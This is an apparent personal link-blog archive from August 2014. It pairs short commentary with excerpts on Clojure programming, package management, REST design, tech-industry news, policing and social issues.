I’m not surprised some conservatives are upset about the AP American History test. But I am bemused by the strength of the axiom Stanley Kurtz would oblige us to adopt, to keep things from getting politicized: “America is freer and more democratic than any other nation.” (Although, grant the axiom, and postulates about military strength, and theorem 1 – “[the US is] a model, vindicator, and at times the chief defender of ordered liberty and self-government in the world” – ...

Read More Source

August 30th, 2014

In Technology

No Comments

Parsers in Clojure

The title is “Parsing CSS file with monadic parser in Clojure” but there is a lot here that is educational regarding writing any kind of parser.

This much is readable:

(defn parse [parser input] (parser input))

(defn parse-all [parser input] (->> input (parse parser) (filter #(= “” (second %))) ffirst))

But this will require some study:

;; build parser that always returns given element without ...

Read More Source

August 30th, 2014

In Business

No Comments

Microsoft finally defends its customers against government intrusion

Finally, Microsoft took a stand I can approve of:

Despite a federal court order directing Microsoft to turn overseas-held email data to federal authorities, the software giant said Friday it will continue to withhold that information as it waits for the case to wind through the appeals process. The judge has now ordered both Microsoft and federal prosecutors to advise her how to proceed by next Friday, September 5.

Let there be no doubt that Microsoft’s actions in this controversial case ...

Read More Source

August 30th, 2014

In Business

No Comments

Greedy cable companies try to block municipal broadband

The corruption in American politics is outrageous:

Chattanooga has the largest high-speed internet service in the US, offering customers access to speeds of 1 gigabit per second – about 50 times faster than the US average. The service, provided by municipally owned EPB, has sparked a tech boom in the city and attracted international attention. EPB is now petitioning the FCC to expand its territory. Comcast and others have previously sued unsuccessfully to stop EPB’s fibre optic roll out.

I did a ...

Read More Source

August 30th, 2014

In Philosophy

No Comments

When the ice melts

Frightening predictions of the future from National Geographic:

Source

August 30th, 2014

In Philosophy

No Comments

The anti-patterns of email conversations

This is funny:

Some patterns are very simple. For example, this is the “take it to private email” pattern. This pattern can be thread-killed on sight; if you’re feeling generous, read the last two messages in the thread.

bob +-> Foo fred +-> bob +-> fred +-> bob +-> fred ...
Read More Source

August 30th, 2014

In Technology

No Comments

Apache Commons-IO overwhelms me with options

I sure wish I understood what all this stuff does, because it looks like there are a lot of powerful options here: How do normal people discover the real world use cases of all this stuff?

Class Summary AutoCloseInputStream Proxy stream that closes and discards the underlying stream as soon as the end of input has been reached or when ...

Read More Source

August 29th, 2014

In Technology

No Comments

Ribol is a restart library for Clojure

I am impressed with the look of Ribol, though I have not yet used it:

ribol provides a conditional restart system. It can be thought of as an issue resolution system or try++/catch++. We use the term issues to differentiate them from exceptions. The difference is purely semantic: issues are managed whilst exceptions are caught. They all refer to abnormal program flow.

Restart systems are somewhat analogous to a management structure. A low level function will do work until it encounter an ...

Read More Source

August 29th, 2014

In Philosophy

No Comments

Does the Universe have any concept of scale?

Interesting:

Though galaxies look larger than atoms and elephants appear to outweigh ants, some physicists have begun to suspect that size differences are illusory. Perhaps the fundamental description of the universe does not include the concepts of “mass” and “length,” implying that at its core, nature lacks a sense of scale.

This little-explored idea, known as scale symmetry, constitutes a radical departure from long-standing assumptions about how elementary particles acquire their properties. But it has recently emerged as a common theme of ...

Read More Source

August 29th, 2014

In Technology

No Comments

repl-friendly development workflow

First I saw this question in the Github issues for Sente:

Could you recommend a workflow that works across REPL re-evaluations? My current solution is wrapping the initialization in a defonce:

(defonce sente-init (do (let [{:keys [ch-recv send-fn ajax-post-fn ajax-get-or-ws-handshake-fn connected-uids]} (sente/make-channel-socket! {})] (def ...

Read More Source

August 29th, 2014

In Technology

No Comments

The 5 types of dependency injection in Clojure

Interesting:

Globally Shared

This is often the first way developers think to share data across an application: simply throw it in a def in a namespace and allow any function that needs it to reference it from there.

….It has the advantage of being simple to implement. The disadvantages are numerous and Dependency Injection was originally developed to overcome the shortcoming of globally shared data. Among other things, putting the context in a globally shared data structure will ...

Read More Source

August 29th, 2014

In Technology

No Comments

Thread binding in Clojure is tricky

Very interesting. Apparently you can not use pmap in this example:

user=> (def *foo* 5)

#’user/*foo*

user=> (defn adder [param] (+ *foo* param))

#’user/adder user=> (binding [*foo* 10] (doseq [v (pmap adder (repeat 3 5))] (println v))) 10 10 10 nil

*foo* is bound to 10 by “binding” but pmap spins up other threads, and *foo* ...

Read More Source

August 29th, 2014

In Business

No Comments

What if I totally misunderstood?

“What if I totally misunderstood?” seems to be the universal question women ask when guys engage in minor sexual harassment of them.

When Jessica Livingston, a co-founder of the influential startup accelerator Y Combinator, arrived at The Wine Room in Palo Alto, Calif., a little early for our meeting, a man who was also waiting outside the wine bar started to chat her up.

He asked what she was doing there all on her own, and whether she was there maybe ...

Read More Source

August 29th, 2014

In Technology

No Comments

Open Source still lives

Funny:

Source

August 27th, 2014

In Philosophy

No Comments

The bugs on your face evolved to live there

Interesting:

Here is what we do know: Demodex mites are microscopic arachnids (relatives of spiders and ticks) that live in and on the skin of mammals – including humans. They have been found on every mammal species where we’ve looked for them, except the platypus and their odd egg-laying relatives.

Often mammals appear to host more than one species, with some poor field mouse species housing four mite species on its face alone. Generally, these mites live out a benign coexistence with ...

Read More Source

August 27th, 2014

In Technology

No Comments

Is there a single answer to the problem of package management?

Interesting:

Why are there so many goddamn package managers? They sprawl across both operating systems (apt, yum, pacman, Homebrew) as well as for programming languages (Bundler, Cabal, Composer, CPAN, CRAN, CTAN, EasyInstall, Go Get, Maven, npm, NuGet, OPAM, PEAR, pip, RubyGems, etc etc etc). “It is a truth universally acknowledged that a programming language must be in want of a package manager.” What is the fatal attraction of package management that makes programming language after programming language jump off this cliff? ...

Read More Source

August 27th, 2014

In Philosophy

No Comments

I am frustrated that Wikipedia hides old version pages from search engines

A few months ago, I read about “gynaikonomos” on Wikipedia and I thought it was an interesting word, with an interesting story behind it, and last night I mentioned it to a friend, who asked me to send them the URL, but now I find the page that talked about gynaikonomos has been erased from Wikipedia. I got to that page from a link on the page about the Plague of Athens.

The link has been erased from the page. ...

Read More Source

August 27th, 2014

In Philosophy

No Comments

9 year old girl, machine guns, killing, accidents, death, for freedom

This is the most American headline ever written:

9-Year-Old Girl Accidentally Kills Her Shooting Instructor With an Uzi

The only thing that could make this headline more American is if she used an M-16 instead of an Uzi. Otherwise, this headline is perfect, it tells you exactly what kind of country the USA is: the kind of country where people think it is important that 9 year olds learn how to use an Uzi. For freedom.

Source

August 27th, 2014

In Technology

No Comments

The growing power and status of Computer Science departments

In academia, statistics is losing ground to computers:

“They [the statistical profession] lost the PR war because they never fought it.”

I assume this is a USA development. In Europe the computer departments have tended to be outgrowths of the math departments.

Recently a number of new terms have arisen, such as data science, Big Data, and analytics, and the popularity of the term machine learning has grown rapidly. To many of us, though, this is just “old wine in new ...

Read More Source

August 27th, 2014

In Technology

No Comments

Problems of package management are sapping productivity for tech workers

It is especially bad on the front end:

The situation with packages and dependency hell today is horrendous, particularly if you work in a highly dynamic environment like web development. I want to illustrate this with a detailed example of something I did just the other day, when I set up the structure for a new single page web application. Bear with me, this is leading up to the point at the end of this post. To build the front-end, I wanted ...

Read More Source

August 27th, 2014

In Technology

No Comments

A single div

This is an interesting use of CSS gradients to draw images

Source

August 27th, 2014

In Technology

No Comments

NixOS as package management?

The end should be the headline:

The last point is huge: I can use Nix to manage my software on both my Linux and OS X machines! I’ll explain how I do that in a future post.

The whole thing sounds interesting:

The main differentiator of NixOS is its package manager, Nix, which stores packages in isolation on a read-only file system. It then makes them available to you by adjusting your environment variables (e.g. your PATH). This way, it can achieve ...

Read More Source

August 26th, 2014

In Technology

No Comments

Why are Emacs packages such a disaster?

Check out this screenshot. Do you see where it says “Build/Failing”? The red icon? This simply does not happen with other open source projects that I use. No other community thinks it is normal to push broken code to master. What is wrong with Emacs packages? Is their an attitude that we hackers should be such amazing hackers that we can fix the broken code in every project that we use?

Source

August 24th, 2014

In Business

No Comments

The amazing success of Bustle

I am angry with myself for ruining my own chances to launch a successful website, and I am amazed that Bustle is doing well. Bryan Goldberg strikes me as absolutely clueless about women’s issues, yet he’s managed to create a site that gets huge traffic from women.

Do you read Bustle, the website best known in “the culture” as the place whose founder, Bryan Goldberg, uses his female employees’ legs as typing desks? No, me neither. Nonetheless, according to recent ...

Read More Source

August 23rd, 2014

In Technology

No Comments

“Just works” versus “I understand it”

This does a lot to explain the difference between folks drawn to PHP and folks drawn to Lisp. Do you want a utility language that allows you to get basic work done, or do you want a language that you can understand? I wrote PHP for years, but in the end, I was frustrated by much of the magic in it, especially in the PHP object oriented stuff. I like Clojure because I can understand the underpinnings of the language ...

Read More Source

August 23rd, 2014

In Business

No Comments

The uncertainty of promised products

Interesting:

Almost a year ago I paid $55 to be an “early backer” of the credit card replacement system, with the promise that I’d be shipped a Coin summer of 2014. As the months went by emails would arrive detailing how Coin worked, how it was made, etc., all with the reminder that soon enough, I’d be receiving my Coin this summer.

Fast forward to this week — everyone who paid to be backer received an email stating that—HOORAY—our Coins would ...

Read More Source

August 22nd, 2014

In Business

No Comments

Oracle takes $240 million for a website, and then fails to build the website

Interesting:

The 126-page lawsuit, filed in Marion County Circuit Court, claims that fraud, lying and “a pattern of racketeering” by Oracle cost the state and its Cover Oregon program hundreds of millions of dollars.

“Not only were Oracle’s claims lies, Oracle’s work was abysmal,” the lawsuit said. Oregon paid Oracle about $240.3 million for a system that never worked, the suit said.

Oracle issued a statement saying the suit “is a desperate attempt to deflect blame from Cover Oregon and the governor for ...

Read More Source

August 21st, 2014

In Technology

No Comments

Representational Value Transfer (REVAT)

Very interesting:

Representational Value Transfer (REVAT) What we need is a RESTful way to disambiguate state and value, so that we can reason about resource URLs. I propose that we use use existing REST semantics for indicating state and adopt a new conventional standard for indicating values:

GET http://api.example.com/values/5690ba7f-f308-4c32-b67c-56f654bbfd83

{ “id”: 12345, “title”: “Apple iPad Air”, “price_usd”: 599.99 } The salient points of a REVAT URL are:

REVAT values are immutable. Values are identified by random UUIDs No coordination is required to uniquely generate them A non ...

Read More Source

August 21st, 2014

In Technology

No Comments

Racket sounds awesome

Very interesting:

I said above that Lisp flat­tery is easy to find. The prob­lem with Lisp flat­tery is that it makes sense only to ex­pe­ri­enced Lisp pro­gram­mers. To oth­ers—es­pe­cially those who are try­ing to de­cide whether to learn and use a Lisp—it just comes across as un­sub­stan­ti­ated hoodoo.

For ex­am­ple, in his es­say How to Be­come a Hacker, Eric Ray­mond says “Lisp is worth learn­ing for … the pro­found en­light­en­ment ex­pe­ri­ence you will have when you fi­nally get it. That ex­pe­ri­ence will ...

Read More Source

August 20th, 2014

In Technology

No Comments

People strongly disagree with me

Interesting. On Hacker News I quoted one of my earlier blog posts:

“There is an important asymmetry between an architecture of small apps and an architecture of The Monolithic CMS. If you have small apps, and decide you want to move to a monolithic CMS, then you must do The Big Rewrite: the exhausting effort of reproducing all of your funtionality so that it is handled by your one, all-consuming CMS. But when you move from the monolithic CMS to an ...

Read More Source

August 20th, 2014

In Philosophy

No Comments

The Lost World of Tarnów

This is a book I would like to get:

The photos are really impressive. Although their photographers are mostly unknown, many of them are worthy counterparts of Menachem Kipnis’, Alter Kacyzne’s or Roman Vishniac’s famous series. This also indicates how many more pictures may still be hiding depicting this world, which only twenty years ago was widely considered to have passed almost without a trace. And the book’s great merit is that, apart from the images, it also helps to ...

Read More Source

August 20th, 2014

In Philosophy

No Comments

Blatant sexual harassment at tech conferences

This is disturbing:

Charming! He made sure to include a link to his About.me profile, a touch that wasn’t lost on Haas. Her story was brought to my attention by two other women in the east coast tech community, Amy Vernon and Allyson Kapin, who wished to go on the record and spread Haas’ story. Haas, on her end, had shared a couple of posts about the experience with women she’s close with, but hadn’t gone fully public with the experience ...

Read More Source

August 20th, 2014

In Philosophy

No Comments

Strict parenting in Roman times

Augustus was willing to banish his own daughter:

Lex Iulia de Maritandis Ordinibus (18 BC): Limiting marriage across social class boundaries (and thus seen as an indirect foundation of concubinage, later regulated by Justinian, see also below). Lex Iulia de Adulteriis Coercendis (17 BC): This law punished adultery with banishment.[1] The two guilty parties were sent to different islands (“dummodo in diversas insulas relegentur”), and part of their property was confiscated.[1] Fathers were permitted to kill daughters and their partners in ...

Read More Source

August 20th, 2014

In Technology

No Comments

The S does not stand for Simple

Interesting:

REST is a vast improvement over complex things like SOAP and CORBA, but I think we still have a way to go before we’ve reached simple. REST is an acronym for REpresentational State Transfer, and I think the “state” part of that acronym gives rise to a lot of incidental complexity as systems grow.

You can think of state as a combination of value and time, and in the RESTful case, the time dimension is almost always “now”. The trouble ...

Read More Source

August 19th, 2014

In Technology

No Comments

Fixing Bad Data in Datomic

I am intrigued:

A Motivating Example

ACME Co. buys, sells, and processes things. Unfortunately, their circa-2003 web interface is not a shining example of UI/UX design. Befuddled by all the modal screens, managers regularly put bad data into the system.

In fact, manager Steve just accidentally created an inventory record showing that ACME now has 999 Tribbles. This is ridiculous, since everyone knows that the CEO refuses to deal in Tribbles, citing “a bad experience”. In a rather excited voice, ...

Read More Source

August 19th, 2014

In Philosophy

No Comments

Police intimidation of journalists is a political statement

Interesting and disturbing:

On Sunday night, three days after citizens of Ferguson marched alongside Missouri Highway Patrol Captain Ron Johnson, in gratitude for Johnson taking over the heavy-handed police presence, and mere hours after Johnson gave an emotional speech apologizing for the police violence and promising its end, the savior of Ferguson ordered three journalists arrested for witnessing an apparently unprompted police crackdown on protesters.

Shortly after police in Ferguson lobbed tear gas and fired high-tech noise cannons at protesters, three reporters ...

Read More Source

August 19th, 2014

In Philosophy

No Comments

Police want too much discretion

Interesting:. Cop says we should do whatever a cop says:

Even though it might sound harsh and impolitic, here is the bottom line: if you don’t want to get shot, tased, pepper-sprayed, struck with a baton or thrown to the ground, just do what I tell you. Don’t argue with me, don’t call me names, don’t tell me that I can’t stop you, don’t say I’m a racist pig, don’t threaten that you’ll sue me and take away my badge. Don’t ...

Read More Source

August 19th, 2014

In Philosophy

No Comments

Women’s soccer is violent

I’ve seen violence in women’s soccer that would never be allowed in men’s soccer. I wonder if there is a cultural bias here, thinking that girls are made of sugar and spice and everything nice, and so they can’t really be violent? It’s worth noting that at least a 25% of female athletes have levels of testosterone higher than the average male, so they’ve got plenty of hormone for aggression. Check this out:

Source

August 19th, 2014

In Business

No Comments

Editors are worthless, and middle managers are also worthless

I love this:

Go find a story published a few years ago in The New Yorker, perhaps America’s most tightly edited magazine. Give that story to an editor, and tell him it’s a draft. I guarantee you that that editor will take that story—well-polished diamond that it presumably is—and suggest a host of changes. Rewrite the story to the specifications of the new editor. Then take it to another editor, and repeat the process. You will find, once again, that the ...

Read More Source

August 17th, 2014

In Philosophy

No Comments

Living organisms communicate with RNA

I’ve read several articles over the years suggesting that RNA is used as a tool of communication. I have the sense that this is something huge, that this is going to change the world. If RNA can be used as a general communication tool, not only as cypher, with a limited set of symbols whose meanings are pre-determined, but in a manner that allows new meanings to be created by different arrangements, then that suggests that RNA encodes a notation ...

Read More Source

August 17th, 2014

In Philosophy

No Comments

Heterosexuals do not understand bisexuality

Funny and interesting:

It was not jealousy I felt, not in the least. It was exclusion. Invisibility. Irrelevance. What did she mean? What had Stephanie said? What the hell was this? To make matters worse, when we got home that night Stephanie passed out in the elevator and, annoyed, I carried her into my apartment and put her to bed on the coffee table. I figured in the morning she’d forget the whole thing, and, should she need a female fix ...

Read More Source

August 17th, 2014

In Philosophy

No Comments

Unboxing mania

Interesting:

And so, the concerned parent researches. It didn’t take long to learn that DisneyCollector is actually working within an enormous growing culture for opening newly purchased items on camera. According to data from Social Blade, a YouTube data-analysis site, DisneyCollector could be raking in between $2 million and $13 million a year in advertising. She is very likely the most successful auteur of unboxing videos, a type of clip — part Consumer Reports and part Christmas morning — that has ...

Read More Source

August 17th, 2014

In Technology

No Comments

Security problems with OpenSIS

OpenSIS tells me that a password is “invalid” because another user is already using it. This is in the admin view, so I guess the assumption is that the admin can know if a password is being used more than once, but this still strikes me a security violation. See the bottom of the screenshot:

Source

August 12th, 2014

In Philosophy

No Comments

Gender, romance and looking desperate

Interesting story:

It’s a perfectly sweet boy-and-girl-meet-cute story. Moreau had been in Spain for a few months traveling and she was happy to be sitting next to an English speaker, she said. Kelly was immediately smitten. For whatever reason, they did not exchange phone numbers on the flight, perhaps because they expected to keep chatting after customs.

Dude really put in the work to find her, too:

He asked the airline for information on his seatmate, but for privacy reasons, they couldn’t help. ...

Read More Source

August 11th, 2014

In Business

No Comments

How to handle comments at a media site

Very surprising post from the staff at Jezebel:

Working at Gawker Media is a dream job for many of the women on staff here at Jezebel. This is a place that takes chances on developing writers, that has always stood behind us no matter what. But it’s time the company had its feet held to the fire.

For months, an individual or individuals has been using anonymous, untraceable burner accounts to post gifs of violent pornography in the discussion section of stories ...

Read More Source

August 7th, 2014

In Technology

No Comments

Event Tracing for Windows is a truly terrible API

I found this to be funny:

Blog Bio The Technician No Imperfections Noted The Jeff and Casey Show Jeff and Casey TimeCasey Muratori Seattle, WA The Worst API Ever Made A call-by-call look at context switch logging with the Event Tracing for Windows API.This article is part of a series where a new short-form tech article is posted every Wednesday. You can always check the contents page for the latest installment, or follow me on Twitter for updates. You can also RSS ...

Read More Source

August 6th, 2014

In Technology

No Comments

The explosion of sysadmin configuration complexity

Somewhat off-topic, but it is amazing to think about the complexity of the server setup that is implied by this:

First, let me start by explaining why we decided to port away from Puppet: We had a complex puppet code base that has around 10,000 lines of actual Puppet code. This code was originally spaghetti-code oriented and in the past year or so was being converted to a new pattern that used Hiera and Puppet modules split up into services ...

Read More Source

August 6th, 2014

In Philosophy

No Comments

What if your husband is secretly an abusive online troll?

A woman discovers her husband’s secret online life:

He left the browser open on our laptop after he went to work this morning. I go to work after, so I usually hop on and do my own things on my real account….I was disgusted at what I found. My husband is a troll. A really fucking nasty troll. He leaves horribly mean comments to all kinds of people. They’re filled with racist slurs, awful insults, he tears into fat people, ugly ...

Read More Source

August 6th, 2014

In Philosophy

No Comments

Pandering and popularity

Interesting:

I grew up on the wrong side of the tracks in a crappy town in the middle of nowhere and like anyone who lives in rural America, social relationships are nothing if not an intensely interlocked microcosm of social jockeying. I had a pack of friends and when times were good, we’d have slumber parties in the tent of our front yard, play stiff as a board and light as a feather and listen to the GoGos and the Human ...

Read More Source

August 6th, 2014

In Philosophy

No Comments

Life online allows people to hate strangers

An interesting side effect of moving one’s social life online is that now it is possible for people on the other side of the world (people who in another era would have never known of your existence) can now hate you, because they don’t like what they read or hear about you. I think we know this in the abstract, but the specific cases are always surprising and sad to read about. In this case a bunch of women were ...

Read More Source

August 5th, 2014

In Technology

No Comments

Clojure core.async is just a bunch of callbacks

Interesting to note that the beautifully elegant core.async is secretly the same as the “callback hell” of Javascript — except that core.async automates it all for you, which is a huge difference.

core.async is a Clojure library implementing communication sequential processes, an approach that allows code to be structured as producers and consumers of messages passed through channels. CSPs are an approach to dealing with concurrent activity in a program, and exists as a strong alternative to the kind of ...

Read More Source

August 5th, 2014

In Technology

No Comments

Just write SQL

I’ve been on both sides of this debate, but mostly I write SQL, mostly because the limits of ORMs tend to be immediate and stifling.

ORMs map nicely when you are indeed modifying objects, but somethings don’t map well that way. So don’t map them that way! What we need is a low level abstraction layer alongside the ORM. The main problem with raw SQL is that what you really want is a genuine programming language. You almost want programmatic access to ...

Read More Source

August 5th, 2014

In Technology

No Comments

Visual Markov Chains

This is well done, the animation of the Markov chains makes the real-world impact of the probabilities more understandable.

Source

August 5th, 2014

In Philosophy

No Comments

Mental performance in men and women, improvements linked to national development

Interesting

That performance was determined using tests for episodic memory (the retention of words in memory), category fluency (naming examples of, say, animals) and numeracy. Women are expected to outperform men in episodic memory and men do better in numeracy. Neither sex is thought dominant in category fluency.

Episodic memory matters because it is linked to emotion. The brain remembers unconnected words by linking them to a memory or imagined situation. It is the emotion of the memory that supposedly helps the ...

Read More Source

August 5th, 2014

In Technology

No Comments

Multimethods in Clojure

I’ve only recently discovered multimethods, but now I’ve come round to the idea that one should never use (cond) in Clojure. Rather, any time you have a complicated nexted (ifs) or a big (cond) it should all be replaced by multimethods:

A Clojure multimethods is a combination of a dispatch function and one or more methods, each defining its own dispatch value. The dispatching function is called first, and returns a dispatch value. This value is then matched to the correct ...

Read More Source

August 5th, 2014

In Business

No Comments

Are in-app purchases uniquely destructive to personal finance?

Interesting argument:

Adults with a loose claim to self-sufficiency can still recite the cost of their monthly rent, their cable bill, student loan bills, smartphone bill, auto insurance, the seasonal range of electricity consumption, annual penalty for breeding, etc. When charges are deducted automatically, the numbers get fuzzier. For the spendthrift, monthly expenditures on food, drink, travel, and clothing are more nebulous still. But impulse-driven, one-press smartphone purchases are the easiest to lose track of, which makes apps even worse enablers ...

Read More Source

August 5th, 2014

In Business

No Comments

(NSFW) Is Whisper really respecting people’s privacy?

Gawker Media gets data straight from Whisper:

Uber and Lyft are doing everything they can to recruit new drivers. There’s cash and perks and a bevy of enticing benefits, but for whatever reason they’re not mentioning the massive amount of spontaneous sex drivers are having with riders. …If you’re thinking this is all just an elaborate hoax by a spate of sexually frustrated Whisper users, we did too – and then we talked to the company. Whisper was able to weed ...

Read More Source

August 5th, 2014

In Business

No Comments

The need to check PayPal

Something I need to do, that I’ve wanted to do for awhile, is add more checks to my payments systems.

You can make an API call to check the status of a transaction very easily. When my users are redirected back to my site (thanks page, or similar), I check if their transaction is completed, if not, I kick off an every-five-seconds check while asking the user to hold on while we talk with paypal. I will eventually fail after some number ...

Read More Source